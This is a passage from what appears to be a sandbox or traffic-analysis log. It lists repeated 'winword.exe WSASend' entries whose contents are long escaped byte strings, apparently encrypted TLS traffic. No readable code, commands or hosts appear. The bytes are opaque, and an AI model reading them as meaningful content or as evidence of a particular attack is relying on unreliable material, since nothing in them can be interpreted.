1\\x9e\\x1b\\xd47\\xdf/\\xa3t\\xfe\\xb7g\\xbe\\x7f&\\xc5\\xc4\\x00\\xcc\\xb8\\x06\\xe14\\xc9c<\\xe1z\\xe5\\xed&n*\\xd5\\xd1z\\xact\\x93\\x83>\\xeb\\x8fr\\x89\\x1am(\\xbf1a5n;9+h\\xc8\\x18\\x83\\x88\\xeb\\x02\\x96\\x19\\x0b\\x05)\\\\x17&\\xd5\\xd6\\xeb\\xb0o#3c^\\x7f\\x06\\x0c\\xb8\\xb2\\xe1\\\\x91\\xaega\\x17\\xa8\\xbfn\\x0b\\xf4r\\xd7\\x7f\\x04\\x80\\x16f\\xad\\xd2\\xe0+p\\xc4\\xb7w\\xef?\\xfb\\x1f\\x18\\xf4y\\xcfr\\x1c\\x99\\xd4\\x0f\\x1f,k=<\\xcd\\xe0p\\xb0.\\xa4\\xa2\\xba\\xa5e\\xe3\\xb7\\xee\":\\xc3r4"
  652.  
  653.  
  654. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd6\\x06)a\\xd5\\x99\\xfb\\xf8\\x90c\\x1b\\xb2|u\\x99\\x9b\\x81\\xb9\\xc7n# \\xd2\tyf\\xc8\\xc3\\x8d\\xe3\\x05\\xeez\\xd1=q?'s\\xe9\\x930wh\\x1dq\\x1b\\xeb\n\\x9f5\\x8a#\\xe2(h\\x14\\x97,\\xb9\\xfc\\x9c\\xdeo\\xa0-\\xc1u\\xc5\\xf2\\xcfb\\x08\\x03^\\xd7!\\xe7\\x97\\xe2\\xdd=\\xe4\\x1d5\\xf0\\xb2n\\xa6\\xea\\xb9\\xcd? \\xc2\\x14\\xb1o\\x98\\xef\\xf8+\\xaa\\xb7q\\xecl\\xa2\\x82\\x0f8\\xca\\xff\\xb2#\\xbc\\x11lk\\x06\\x96\\x10\"\\xc2=b\\xa9\\x92h\\x1ed\\x1e\\x91~eh\\xe2\\x00oz\\x1a\\x15\\xd7gx\\xd5\\xec\\x1a\\xc8\\xd3n\\x9b\\x03\\xc7f\\x91\\xee\\xb2\\xde\\xab=\\x87\\x9ai\\xe0\\xe0 f\\x9eyw\\x1bn\\xf61\\xc5g\\xd8e\\x90\\xe6\\xa2\\x869\\xae\\xd5/\\xf8\"vh/\\x19\\x85\\x8e\\xca\\xe5\\x0ca\\xd8ps\\x8b\\xc5\\x10\\x82\\x81\\xbb\\xe6t\"b\\x11\\xae\\x1e\\xbd\\x1f\\xd0\\x9a\r\\xab=\\xd1\\x9c\\xbb\\xda\\xec\\xd3\\x99\\xa8\\xfd\\xc0\\xe7%\\xb8\\x8b\\xc3v\\xba\\x159z0\\xb2\\x93\\x1c"
  655.  
  656.  
  657. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xca\\x0b\\xcb\\xe1\\xf5\\xe4\\xc1\\xf5aygo\\x1e\\xfca\\x0f\\xc0hz\\x11g\\x98!\\xf14\\x06&\\xde\\x1a\\xa2\\xcer\\xe3q8\\xc1v\\xe7\\x0b\\x01\\xe12\\xcf\\xcah\\xba\\xffek\\xbb\\xcf\\x14\\xea\\x94i\\xe0\\xb59\\xa8?7\\xbe\\xb9bb_\\x98\\xc1j>\\x9d@nh\\xbb\\xda_c\\csk\\x85\\x0c\\x9b\\xb6\\xfdc\\x05\\xfb\\xbd\\x1e\\xfb\\xa0j\\x9etx\\x0b\\xa2\\xa9\\x9d\\x94b\\xc3'\\xdb\\xfb\\x82w\\xb2.p\\xf3l\t\\xa3b7\\xed\\xca9xu\\x13\\x84\\xfa&\\x1bp_)\\x1c\\xf7\\x94w=y\\x80\\x02\\xc1\\xd7d\\x9f\\x9f\\xad\\x97\\xae\\xa8b\\xe3s\\x93y\\xf4\\xe4\\xee\\xcan\\x14\\xc7a\\xbb\\xf5\\xf9\\xd2\\xdey\\xc2w\\x164<\\xf1u\\xd0\\xe2\\xf3\\xb3`\\xa7\\x03^_\\xf9\\xfd\\xae2s#s\\xd1\\xed=o\\x91\\x7f\\x10\\xd3\\xf8\\x9ek\\xf5\\xb7\\xf8\\xc0j\\x08!\\xe2#\\x17\\xd3v\\x15\\xa2kf\\xee\"\\x14\\xb5\\xd1,\\x18da\\xe6\\xba;\\xbb\\xb9\\xcf\\x13d\\xfc\\xa2\\x99v\\xc1\\xa3\\xb0\\xaa\\xfb\\xd0("
  658.  
  659.  
  660. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1d\\xe2\\xc0\\xb6p\\xc3\\x9e+\\x1c\\xa2\\xcc\\xac\\xbf1\\x1d\\xdd^\\xa89\\xa7x,\\x10\\xbde_\\x93\\x11\\xbamf\\\\xb6\\xf3\\xe1\\x9e\\xe5\\xa0r\\xbd\\xd9\\xde\\x0f\\xa6\\x90s\\xed<\\x9c\\x12&\\xbd\\xca\\xf3.\\xb06= \\xde0y|wb\\xe9&\\xfa\\xda\\xa3cm@\\x0e\\xe3\\xf1b\\x91\\x92\\xef+\\xeej!x\\xb2c\\xcd\\xeb\\x1ccjo\\xbc/u\\xec\\x16spy\\ix9ln\\xe1d\\xe4\\xf9\\xb5\\xa6i\\xaanm\\xa2\\xd3\\x0e\\xf7?\\xdfl\\xf5\\x96\\xd6\\xec\\xd4\\xffqp\\x15@\\x0b|\\xb1\\x8e\\x07 x\t\\x08'\\xc1\\x97cq\\x01\\x1f\\x1f\\xb72:\\x9e\\x07z\\xdb\\xe8\\xd0>\\xa0\\xd4\\x83m\\x98\\xe4\\xb6\\xb3\\x18\\x90)q\\xc9\\x1a\\x95/\\xffy\\xa8is\\xdd\\x81n\\x1c!\\xa9%\\xab\\xcf\\xcd\\x9c<v\n\\xee\\xfb#\\x02\\x1e\\x03\\xba\\x95\\xa9a\\xc6\\xf9r\\x9e2l\\xc5\\x863\\x1e\\xd5+j\\xae\\xc8\\xa9\\x9b\\xd2\\x96\\x95\\xf6\\xf9\\xbf\\xb9\\x15\\x1el\\x9c\\xeb\\xdf\\xb7\\x02>mrhea\\x9a\tul"
  661.  
  662.  
  663. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x80\\xa0\\xe6\\xf8\\x9bw\\xc1\\xd5\\xc6\\x1c\\x9cr\\xf1\\xad\\x96\\xd3e:\\x9a\\xcd\\x06\\x15xx\\xb4h\\xf8i\\xc7,=>\\xe4\\x8c\\x94\\x8b\\x14%\\xa4\\xf4\\x17\\x07\\xde\\xebw_\\xacm\\xe3\\xba\\x12\\x12\\xf8\\xbalud>+\\xbd\\xa3g\\x18\\x8e\\xb1i\\x06!\\x86\\xa5\\x93\\xbdt\\x8f\\x19\\x18\\xb9\\xcb\\xf7\\x10\\x0ff\\xfa1\\xaf\\x1c\\xede@c>l=\\xf3\\xef.\\xfe\\x06\\x1d\\xade$\\x9a\\x19\\x8b\\xea\\x83nunn\\xb5m\\xf3\\xd5k\\xa8'\\xf9\\x97\\x8f\\xd1i\\x8a\\xbb`\"o\\xf1o\\x82x\\xc1*\\xf5\\x0c\\xd0\\xd5\\xff\\xb03\\xb0'r\\xcb\\xfc\\x08^\\xc9\\xf1\\xc1\\x82i\\xd3\\xce\\x1bc\\xba7,r\\xf6a\\xd7\\xc6\\xfa)\\xb3\\x0b\\xf9\\xbd\\xd6\\x97\\x9b|q |\\xeawk@v/\\xaf!\\x12\\xec\\x97\\xf9i\\xe6\\x96\\x04\\x8a^:\\xb7\\x85%b\\x076\\x1f=\\x0ci\\x0b\\xa1\\xaah\\x8d\\xf5\\x9b\\xe9!\\x0e\\xea\\x06\\x1b\\xafzz\\xfa!>\\xe5\\xb5\\xd9\\xc4\\xab:\\xfa\\x90s\\x1cil\\x82n\\xc5\\xa6\\xbd7r\\xee\\x96\\x19g"
  664.  
  665.  
  666. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x81'c\\x07\\xbd\\x19\\x8bl\\xe6\\xda&\\x1f)\\xb5\\xaf\\xc2\\xa1\\x1b\\x972\\xad\\x97\\x18\\x07\\xd3a\\xfa\\x07$\\x9d\\xcafv\\x04n\\x1c\\xc3\\x16_\\x9c\\xe7'\\x1c\\x01\\xd7\\xcc\\xb4\\x8b \\x1fe\\xe8\\xe5\\x1a\\x8f9\\xa5\\xd6ir\\xa9\\x0f\\x1cdh(\\xd3$\\xc9\\x81\\xa4\\x88jo\\xa9\\xf1\\x8c\\x1c;y\\x1f@\\x98\\x91\\x1d\\x1d\\xff\\x1a\\x87\\xf2\\x86\\x88\\x1e\\xa5\\xbf\\x86\\xea\\xd3\\xf4\\xe0\\x0f+\\x8b\\x1bu\\xac\\xd0\\xdd\\xf3a\\xeb\\xca\\xdc\\x03\\xc0up\\xbcp\\xcc\\xa2\\xcc\\xf7x\\x8f\\xf7\\xa6^\\xe4'x\\xa8\\x8b\\x81\\xe5\\x82\\x97i\\xaf\\xbbi\\x19x\\xc7\\x15>\\x84\\xa3\\x90\\x9c\\xbf\\x0e/\\xa6\\xf5\\xf0\\xe1\\xfdv\\x04ex\\xff\\xfa#\\xfb\\x80\\xe3s\\x8f~4\\xab'n\\xaa\\xd3\\x9b\\x97mcd\\xff\\x15\\xba\\xd4a\\x12\\xcc\\xb4\\xd4+\\x0e\\xd6v\\xa2 mo0\\xaf\\xd4\\xe8\\xdb\"6\\x12\\x02\\xd1\\xa9\\xb5e0x\\x10\\x07\\xca|s\\xbad\\x118\\xf2\\xac\\xb5\\x9a\\x11\\xe9\\x12n)\\x96\\xcf\\xa8\\x0c\\x9ew\\xe9\\xb3q\\x8c\\xff\\xd5k\\x87\\xff=\\x1b"
  667.  
  668.  
  669. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x86\\x89\\xff-\\xab\\xb2\\xee\\xccxq\\\\xd5\\xba\\x12(a\\xdd\\xf4\\x0e\\x85\\\\x03\\xdf\\xe4\\x19\\xcbvi\\xa3\\x12\\xd6\\x8a(\\xceze!\\xfc\\x17w\r\\x7f\\x07\\xb3\\x8f\\xcc\\xda9\\xd60$rf\\xf3\\xf8u\\xd9\"\\x93\\x9cf%\\xf8\\xb6:\\x94\\xbb\\x11~yrua\\x90?\\x80f\\x9c\\xb8\\xf9\\x00\\xd6\\x18e\\x89\\x9f\\xbc z\\x059no\\xdc\\x8f\\xcfrz6\"\\\\xba\\xc0\\xfc\\x90\\xe7k\\xc3\\x16)c\te\\xec%xl\\xfa\\xe7u\\xb5\\x9b\\x06\\xb7\\x91\\xf0p\\x82\\xc6\\xd4n\\x16\\xa5\\xa1rs\\x85\\x9aj\\x7f\\xf8%*\\x95mvie\\xd1w\\xe8\\xdff\\xc2\\xfem\\xa2\\xc3\\xab\\xef\\x00\\x92\\x06.\\xee\\xf1l\\xc8\\xbdu\\x9a\\xb8\\xd4\\x839w\\xbem\\x9f\\xf5\\x07\\x05?\\xd2=nr\\xa6\\x9d\\x98\\x06\\xb2r\\xe2_x\\x8do\\xad\\xd1\\x13\\x18\\xda\\xaa\\xc3\\xfd%\\x11\\x124\\xe9j\\xc0\\x1cs\\x98\\xf2|\\xdd\\xb9'\\x8c\\x81i\\xeb\\x1cv\\x0c\\x0b\\xf7\\x91\\xe2\\xde\\xf4\\xb6\\x847\\xe7\\xcf\\xb8\\x1d \\xaf\\x8f\\xa5\\xbd\r\\xc5"
  670.  
  671.  
  672. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf1>=0\\xa1)\\xe1dl\\xa9\\x10\\x06#\\xbbv& \\xea\\xc1\\x12\\xef\\xa8\\xdb.\\xc3;\\x12\\x089\\x9b\\xafv\\xba\\xc3\\xfa!\\x988\\xcc94\\xea\\x12\\xc9|\\xf4iy\\xeaw7\\xc2\\xcb\\x13h\\x07\\xd8kv=\\x11\\xd1?\r\\xad=\\xe3\\xb3\\xdb\\x8e\\xff\\xcc\\xd2\\xadmn\\xbe\\xad\\xf3a\\xba\\xb7\\xaa\\xf0\\xd0\\xa8\\x17\\xa6\\xca1\\xfa\\x11\r\\x1f\\xae\\x92\\xf8\\x92\\xedd\\xb7\\x95\\x00y\\xd0\\xf4\\x01 \\xd8\\xa6\\xffw\\x08\\xd5!\\x1d\\xe1\\x87\\xc2pi\\x97\\x15b\\x85\\xdb|s\\xc1\\xea\\x1d\\xc7\\xdb+\\x0e8\\xcf (w\\x02\\xce\\x03\\x9e\\x1e\\xdeo\\xaax\\xfa\\x87>e\\xda&\\x84\\xd8l\\x84\\x9a_ax\\x1d:\\x96n+0\\xb10_\\xae\\x9c\tuv25h!\\xe5\\x0e\\x8f\\xc9\\x87\"\\xf3f\\xe5i\\xab\\xd9\\x84\\xa0\\xe7!\\xd6\\xcd\\xb2\\xcc\\xa3\\x1c\\xa7.\\x15\\x8d;\\xfa\\x12\\xf9\\x14b\\xc3\\x98\\x9a\\x01t\\x86n\\x8d\\x17\\xcb|*\\xf4bq\\xe1\\xf7\\xd3$\\xdbx\\xc1\\x81\\xa34,\\xb3\\x82\\xd3;\\x95a"
  673.  
  674.  
  675. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0f\\xfc\\xfa:\\x01\\xcay\\x83\\x1e!\\x86\\x13gf\\x82\\xee9\\x8e\\xf4h\\xe0\\xad\\xba\\x8f\\xe7\\x1b\\xa7<g\\xf3*\\xac\\x8c\\x11+\\x15'\\x16\\xf6\\x18\\xa0\\xeai\\x177)\\xe8\\x853y\\x8a\\x05\\x9c\\xb1\\xa9c\\xa5fk\\x05\\xce\\xa2\\xbb\\xaf\\xab\\x8d\\xbe/\\xe5\\x19\\xf8\n\\xf2\\x1dp\\x13\\x8a\\xa2\\xd1\\xcbm\\xb6\\xcc\\x05\\xf1\\xd7\\xc3\\xe0\\x15\\xa7\\xf8\\xabr\\xd4<\\xc2\\xf7?\\xd4x\\xdf\\x13\r\\x80; 6t\\x9a\\x89\\x1fy\\xb7\\xbe\\xd2\\x1b\\x97\\xfa\\xa10i\\x95\\xb2l\\x19\\xdb\\x87!\\xe1\\+n\\xfej7&\\x18q\\x88$\\xf9\\xf7\\x90s.q\\xbfy\\xfd)\\x1e;j\\xd2a\\x1ae\\x034\\xf1\\xad\\x9b\\xa5w\\x80\\xf8\\xbe\\xc01e\\x9bc\\xd7\\x07\\x8f\n\\x1bx\\x80\\xb7\\xc8\\xcf\\xbc\\xc9\\xf2u\\xfd\\x90%zv\\xe49m\\xc5\\xb2_\\x82\\x7f\\xf4\\x8d\\xaa/\\xdc\\xb7\\xa2!\\xa7\\xe8 <\\x11\\xa4\\xb8r\n\\xd7\\xeev<k\\xe2$\\xe2\\xa0s\\xe2k\\x89\\xbd\\xb7\\x05\\xc4b\\x93'\\x84d\\xd7\\x83_\\xda#\\x16i"
  676.  
  677.  
  678. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9b\\xb6\\xd2y\\x88\\xd5\\x85\\x8aisv\\xc7\\xf32\\xc4\\xef\\x07\\xa4\\xf5\\x82\\x15\\xd6b\\xcb\\xc40l\\xf0m\\xd6\\x99\\x941\\xf2\\xb9q\\x80\\x9b\\x00\\xcd\\xc9\\x14\\k\\xd7oc!j,\\xb4*2\\xedgy5\\xbb\\xb7\\xa1\\x8c!\\xd8\\xc6r9%\\x97\\xba\\x98m\\x01\\x92pc\\xc1\\x00\\xa8u\\xf0\\xe5f\\xfe75r(\\x8e\\xdf\\xbd\"\\xe5\\x96\\x12\\xa9\\x92\\xac-r:\\xcb\\xcc\\xcf\\xe6%m\\xf3\\\\xba\\xd2p\\x89\\xd3<\\x1e``c\\x12vw!|;w\\xa5\\xe2\\xa22*\tmdn\\xc7g\\xd6\\xab\\x03\\xaa\\x16\\x14\\xa7\\xd2\\xf0\\xb1\\x92\\xce\\xb8\\xec\\xff\\x87w\\xab\\xc1'\\x18\\xcee\\xba\\x82\\xb2.\\xf4\\x07-`_\\x02\\xe4\nz\\x0b\\x11\\x99\\\\xba\\xc0\\xc4\\xb3\\xe5\\xfcf\\xa5\\xd2v\\xb9my\\xe5\\x9b\\xe7\\x87\\x0ft\\x1a\\xeb_\"\\xe5j\\xdd\\xac\\xfd\\x9e\\xbd\\x96~\\xc1\\xb3yv/\\x1d8:l\\x99\\x99\\x96r\\xadq\\x01k\\xfe\\xee\\x9b\\xe9\\x90\\xb4\\xb0s<t\\xf8e\\x88\\xbb\\x18\\xc6>\\x84\\xd4/\\xa1\\xf3%%\\x15"
  679.  
  680.  
  681. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010o\\xb14\\xa5\\xde\\xd1\\xb6?qgg\\xd9\\xe9\\x1a2\\xe5\\xbas\\x90\\xdd\\x95\\xbc\\x07\\x84\\x7f\\x06t\\xd4`\\x089&\\xd2\\x8dvd\\x84\\xa5\\xd9!\\xb3\\xc4k0\\xa1\\xaax\\x8b\\xc9k2\\x13\\xe0\\xb2\\x0f\\xf8\\x0c\"2\\x8c\\xd6\\x92\\xb0\\xf9\\x17\\xf0\\xe81^\\xcf\\x8fw\\x05\\x8em3\\xed\\x8cn\\xd5\\x97\\x11*\\xe0dp\\xc7\\xf8\\xc4\\x98\\xd0d@\\x8ey^\\xed\nb\\x84\\xdf\\xd9e\\xb4@\\xda\\x89\\x87\\x02\\x17\\xb4\\xd8\\x0bq\\xbcf\\x82f\\xc4\t\\xca;\\x13hl\\x80\\x8b>\\x99\\x9ak:\\x8a9\\xb1t\\x02\\x98dv\\xce^\\xb0#xm\\xf5g\\x942\\xf9p\\xf0cl\\xe3&(c\\x07\\xcc\\xd0\\xbe\\xf1\\xe1=\\v1\\xa1\\xd3b\\xa1\\xf9j\\xbf\\xb9\\xe5e\\x87\\xad\\x1c\\xddd\\x9e\\xf1\\xdfv\\xf0\\xe9\\x84h\\xdef\\xee\\xdb\\xc0\\xba\\xf0\\xcc#\\x1a\\xce\\x03~\\xb8\\xae\\xb9\\xb88\\xea\\x13=\\x05\\xad\\xb9%\\x9919\\xb52\\xa4\\x9c,\\x18)7t\\xb1\\x9e0x\\x84\\xd4\\x8c\\xce \\xe0d\\x8e\\x836\nm\\xc9orp\\x11"
  682.  
  683.  
  684. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf60\\xed^\\xba<\\xeby\\xd0\rc\\xf1\\xb9\\xf0\t\\x18m\\xcfb\\xecx\\xc1\\xc1\\xbf\\x95\\x8e\\x941\\xb2\\xfcy\\x1b\\x00\"\\x16\\xfd\\x0c\\x7f\\xde7\\x8d\\xc3\\xa1\\xb4\\xa2\\xc7\\xb1\\x1a/@\\xd8\\xc9\\x9d\\xc8\\xfc\\xa6\\x7fws\\xdc\\xd4\\xb6\\x06zb\\xdb\\xb3\\xbak\\x9bv9\\xdb\\x03?\\x01\\xba\\xa1\\x83\\xe4f$\\xf3\\xf3\\x9a5\\xb2\\xa4\\xe7\\xfde(o\\x82\r\\xd3\\x19\\x8ey\\x937\\xe60h\\x05\\xb0\\xcep\\xd0(qk\\x1e\\x95u\\xbedt\\xa35\\x84\\x88\\xfc>y\\xf0\\xdb\\\\x9a\\x04c\\xfe\\x86\\x85\\xf6\\xdbq\\xc3\\xaf\\xde\\x8c\\xbe\r\\xafl\\xdf\\x04\\x11\\x11u\\xe7h\\x14\\x135;\\x86yol\\x9d\\xde\\xbdu\\xd7\\xda\\xe5x\\xad\\xc2\\xe8\\xf5\\xe4\t\\xb2\\xfc0\\xd3p\\xfa\\xd6w\\xcb\\xc5\\x95\\xc5.\\xfd\\xef\\x1a.ad\nr?\\xeb\\xc5\\xa3\\xbf\\xec\\xa5-\\xa8\\x16\\x0c?\\xbd\\x9d8:\\xb1\\xc3\\xba\\xde.\\x8b\\xf9)9\\xf9\\x16\\x8b\\xd2\\xe1\\x94\\x9er.\\x88\\x8d\\x8f\\xf6\\x83\\x95j\\xa8\\xf2\\xd9o\\x825\\x06!\\xa4\\x0bp\\xf7\\xa6"
  685.  
  686.  
  687. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x89\\x92\\x9f\\xfb?rsc\"\\xec\\x9fjj\\xde\\x8a\\xb7\\xa8\\xaed\\xb2n\\xcb\\xae\\xf4d\\xdf\\x19\\xbdi\\xfa\\x18\\xde\\xe4\\xc2\\xca\\xde\\xf1\\x81\\xa6\\\\xdc-\\x88\\xfd\\x84/\\x1e\\xe9\\x90\\x87\\xa2.zv~\\xf48\\x04\\xe0p\\xc5=\\xfb\\xa7\\xa1\\xdd\\xfd\\x02\\x8e\\xa3\\xcd\\xc4\\xe0p\\xfbe\\xe0\\xa6y\\xc1\\x9f@\\xda\\x07f;\\x9e\\xa2d\\x13\\x89\\xd4\\xeb\\x133gp\\x8d\\x89m3\\x86\\xe69\\x1b\\x96\\x8bq\\xeaa\\xbd\\xdd\\x9dh\\xbc\\xf8g\\xa1\\x91\\x8b9\\xb8\\xff\\x020p;m\\xa0\\x19\\\\x95k\\4\\x9at2%|\\xa8\\xb4\\x96\\x86g+<!\\xa3\\xf9n\\xee~\\xe1z*\\x93\\xe8\\x95\\x01\\xedy\\xc7\\xd8*\\x08\\xae\\xad+\\x00\\x8c\\x15(\\x0br\\x1f\\xb5\\x998%\\xc7\\xf7\\xf1d|\\xb9'\\xf7<\\xeb\\xde\\x11a\\xe2\\x85k64\\x82+rcm\\xdd\\xd0\\x86\\xb7\\xe3\\xce\\x12\\x93\\x86\\x87\\xa0\\x1b\\x9e%\\xba\\x00\\x1d\\x8a\\xe4z\\xb9~\\xd8%\\x9b\\xb7\\xee\\xdd?+i\\xbb\\xa8\\xaa\\x04\\x839^\\xa4'\\x01*m\\x90!"
  688.  
  689.  
  690. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010`\\xcc\\x97\\xc5\\x1f\\x12l\\xe0\\x9c\\xd6\\x84\\xfd\\xde\\xe3\\xb6v\\xd1\\x87\\xa0q\\x05#\\xe1ft\\x19\\xe5\\xe1\\x03\\xd1\\x8d\\xa4\\x12\\xb6d tz\\x97\\xf5\\x12\\x90\\xeb\\x82\\x81\\xe6\\x05\\xd4\\xe2\\xf18\\xed\\xce\\x8fg\\x1a\\xc5\\xd75\\x16\\xd3\\xfd\\x85\\x9cp\\xf6n\\xcc\\xec\\x13\\xd1\\xcc\\xa3a\\x041h`\\xa3\\xb5\\xd4\\xaa\\xf1\\xf8\\x8f\\xbdf)\\xbb\\xb6k!\\xb5x\\xe5\\xb5\\xc7\\x18\\xbfz\\x01\\xa0\\x01q\\xd4ar\\x01\\xdf\\xc01,\t$u\\xb2\\xf5\\x98p\\x10x\\xc8\\xf5 &\\xfc\\xfd\\xc08\\x9a^\\x89\\xb9\\xc9\\xa5 b\\xa0\\xfc\\xcf\\x89\\x9a\t\\xeaj\\xa5>ux\\xb0\\x00p8\\xe2/\\x14h\\x0b\\xf0\\x18\\xcf\\xd52 \\x89ik\\xf5\\x83\\x15<j\\x7f\\xdf\\xcf\\x8f<\\xc2'\\xbb\\x1c\\xd0r\\xea\\xc0x\"\\x1b\\xa7\\xa5%\\xb3\\xf6l\\x06v\\x9b\\x0e\\xe7\\x88\\x0f\\x90d\\xf6\\x91\\xad\\xb2\\x97\\xe9_\\xa9\\xe7\\x97\\xdaz\\x14\"\\xedoye\\xaf\\x9a\\xe8^\\x00\\xb8\nq\\xa5\\xa5\\xde\\x16\\xfd\\xca\\x0c\\xd0\\x01er\\xd6\\xc3\\x92$f"
  691.  
  692.  
  693. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x16'\\x8d\\xc1\\x86\\x86\\x16j\\xb7\\xa0w\\xcd\\x14$\\xac\\xfe\\xc4,\\x10o\\xdca\\xf7v\\xa8\\x1c(\\x17l\\xafss\\xe8\\xc4\\xc0^\\x84\\xd6\\xbeo\\xb6\\xa5\\x8d\\xf1\\xc5ax\\xae\\xdd\\x80d\\x8a\\xbd\\x90\\xe6rn\\xd5\\xea_\\xce^\\x86\\xfc\\x05\\xde\\x82wh0\\x14\\xee\\x1d\\xb2\\x92\\xce4\\x98>~\\xd1\\x7f8\"\\xa7>x\\x0e\\xc26\\xea\\x8bj^\\xc31\\xc7\\xd5\\xb5\"\\xb6~nr\\x87i\\\\xd8\\x90\\xa4\\xd9g\\xf2pn\\x08\\xe2\\x90\\xbb\\xbd\\x05\\xb17\\xd2\\xa89\\xb7\\xd5\\x1dmb\\xa8\\x99\\x8f\\x87\\xa4\\xd6g*\\xd9a\\xd9\\xb5\\xf4\\xd7r\\xcd\\xde\\xf6\\xc9\\x07\\x85\\xfb\\xf8i4n\\xb7\\xf5vj`24\\xb1\\x83\\x9aq%\\x9b|\\xe7\\xb7\\x95\\x94\\xe4\\x0c\\x0b_\\xd9n\\xa9\\xc8\\xd4\r\\xda\\xd6\\xb3\\xba\\xd7\\xe9\n\\xec\\xd2e\\x0e\n\\xba\\x13\\xac\\xef\\xb3\r\\x00\\xd2\\xb7\\x1c(q5\\x7f\\x97x\\xf2\\xdd;\\xf4v\\x1c\\xe9\\xd1\\xfe \\xc5\\xb4\\x12z\\x90\\xedh\\xe9\\x8c\\xb1\\xa3y\\xe31\\xe1\\xa2\\x1a\\x10t\\xc2\\x89%o\\xed"
  694.  
  695.  
  696. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101_\\xb6\\x96\\x90\\x1c0\\x813\\xfa\\xf0at\\x90\\x9e\\xb78^\\xea\\xc9\\xd1fsx\"\\xc6\\xa9x\\xbc\\xfe\\xa4\\xf2y\\xc0\\x88\\x9c\\x04c\\xcc\\xfer\\xd3\\xf0\\x11u\\x89(\\xb1\\x97\\xe3y\\xe1\\xe0\\xef\\xe6\\xefj\\x8fa\\x19r\\xbcz\\xbc\\xaf\\x19\\xb6\\xc7\\xf8\\x02\\xae\\x93)\\x87\\xa9g\\xce\\x00\\x03\\x0f\\xba\\xc1 +jo<of\\xe9\\xc1l6,\\xacu\\x17\\x04\\xe6r\\x9bv\\x07\\xc9\\xc3\\x9b#<\\xf8\\xf3\\xc3\\x0e\\xce\\x95\\xa6\\xec\\xec\\x15\\xc8d\\xd5\\xa0ap\\xd9\\xb8\\xfc\\xef\\xa5\\xb6\\x1fv81\\x06\\x05\\xf8\\xcedt?\\x08y\\xd2\\x01\\x84\\xed\\xa5=l\\xaee4\\xb6\\xe4\\xbd\\x87^_\\xb9je\\xc0\\xe8\\x83d\\xb9\\x85\\xab\\xfe\\xe2~@\\x11\\x15\\xaf\\xab\\xa8\\x9am\\xbc\\xbfc7\\xf5\r\\xa7\\x84(\\xacl\\xbe\\xf3/\\xa3\\xf0\\x1b\nt\\xb3\\xf4\\x90<\\xe2\\xc4m\\xd4\\x0b\\xb2\\xbe\\x8b?\\xeb~o \\xbe\\xd2\\xc9\\xa2\t\\x99\\xd6i!%\\x02x\\xf6\\xeb\\xda\\x87\\xec\\xe55\\xbd?\\x80*\\xf0\\x8a\\x9a\\xd7\n\\x05\\x0c@"
  697.  
  698.  
  699. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfa5 \\xdf\\xe8v\\xce\\xaa\\x92ai<\\xb0\\xff\\xd2\\xaa\\xfc\\x017f\\xe2\\x985\\xdc+u\\xabe=,j\\x9fe\\xafx\\xeb\\xe1\\x1d9l\\x90+\\xed\\x85\\xc8\\xa2\\xc7\\xd6an\\xd1\\xd0c\\xbco\\x17c\\x19*_\\xaf\\xb7\\xbd\\x8d\\x82\\x18\\xf9\\xb7r\\xa1%\\xd3mo\\x8f\\xbd\\xef\\x86\\xdf\\xc7\\xe6h\\x9f\\xccvr\\xc7\\xcf\\xa7(\\xfc\\x89r\\xb5\\xbd\\x1eq\"j\\x19f1b\\xdef\\xff/= \\x9ea%\\x0b\\xdf\\x17|7\\x9d\\x02\\xee\\x05q\\xa7h\\xcb\\xff\\xb0\\xb38m\\xf6#4o\\xbe\\xce~\\x84\\xbc8\\x92\\x9cn\\xbc~;\\xd6\\x83\\x9d\\xc8\\x06\\xdf\\xd4\\x0e4\\xb0d\\xda\\x99\\xf5\\xca\\xf6\\x8f\\xf3\\x87\\xce\\xb6\\x8c\\x83#\\xd0e;\\xa9\\xa3\\xb0\\xb3s\\x9c|\\xad\\xc1\\xd7\\xb7\\xb4\\x83e\\xc6\\xbe\\x9au\\x91\\x15\\xba\\x13'\\xb4\\xb7)\\xd6\\x91w>\\x9d\\x13\\x15\\xc6\\xd9\\x11\\xe7\\xf5&4\\x95c!qu#\\x13\\x87\\xe7e\\xb38\\xcf\\x1b!5\\xb7\\xc8\\x85z\"o\\xdeex\\xecp\\x89\\xc3\\x0er\\x1b\\x1d>"
  700.  
  701.  
  702. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1e\\xc9\\xc2\\x9d\\xe4\\xa5y4\\x99\\xed\\x1a\\x1e\\xd3\\x05\\x80\\x0bsa\\xee\\x8a\\x8c*\\x82\\xa4\\xaa\\x15r,1\\xc9\\xa2\r\\xe5f\\xa4\\xfd\\x86\\xd8z\\xaf\\xe9\\xdb\\xad\\x1d\\xca\\x1e\\x19\\xc5q,/\\x1d&\\xe7\\xc5\\xc4vs\\xeb\\x1akabt\\xe1\\xf7\\xa2\\xa9\\x1bg\\xe2n\\x81~g\\x96\\xf3j\\x8d\\xb3\\x99\\xe15\\xc7\\x08\\x8a\\xc8\\xa7\\xd7\\xc6\\x9a\\xb17\\xa8\\x144f\\xc4\\x04\\xfc\\x0e\\x9b\\xac\\xa5\\x83`\\xd8k|?\\xb3e\\xe4a\\x17n\\x1d#\\xca\\xac\\xd6\\x15\\xbb\\x06|\\xbd\\xb2g\\x04\\xb7'=~\\xca\\xcf\\x07\\xefiz\\xec\\x98op\\xdb\\xecq\\x90cqt\\x86<\\xd7x\\x9d\\x882\\x1f\\x9f\\xe2i\\x84%\\xd9;r\\x1d\\xefb3\\xe9q1\\xe8#.\\x88\\x80\\x